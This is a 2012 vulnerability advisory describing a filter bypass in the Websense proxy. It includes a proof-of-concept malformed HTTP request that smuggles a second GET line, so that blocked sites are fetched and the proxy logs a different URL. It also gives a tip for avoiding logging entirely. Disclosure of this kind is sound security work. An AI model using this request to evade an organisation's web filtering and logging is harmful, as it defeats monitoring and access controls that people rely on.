Websense Proxy Filter Bypass



1. Advisory Information

Date published: 2012-11-25

Vendors contacted: Websense

Release mode: Coordinated release (Vendor was notified)

2. Vulnerability Information

Class: Filter Bypass

Remotely Exploitable: Yes



3. Software Description

Internet access management system allows an organization to monitor, report and manage internal Internet use.



4. Vulnerability Description

An authenticated user could successfully bypass URL restrictions and access unauthorized sites.

5. Vulnerable packages

All ? No patch available yet

6. Technical Description - PoC

It's possible to bypass the proxy filter by issuing the following specially crafted request:



====

GET www.facebook.com http/1.1

Accept: text/Html, application/xHtml+xml, */*

Accept-Language: es-AR

Cache-Control: no-cache

Content-length: 1



GET ://OTHERURL/OTHEROTHER

a

====



And Websense will fetch the Facebook site and log "OTHERURL" (which is also fetched in the background).



To be completely stealth, just remove ?a? char and no log will be recorded.



Limitations: It's only possible to issue GET requests.



It will only work if the remote Webserver accepts malformed GET requests specifying a Content-Length, like Facebook, Hotmail, Etc. The attacker might use a WebProxy with this property, completely bypassing the filter.
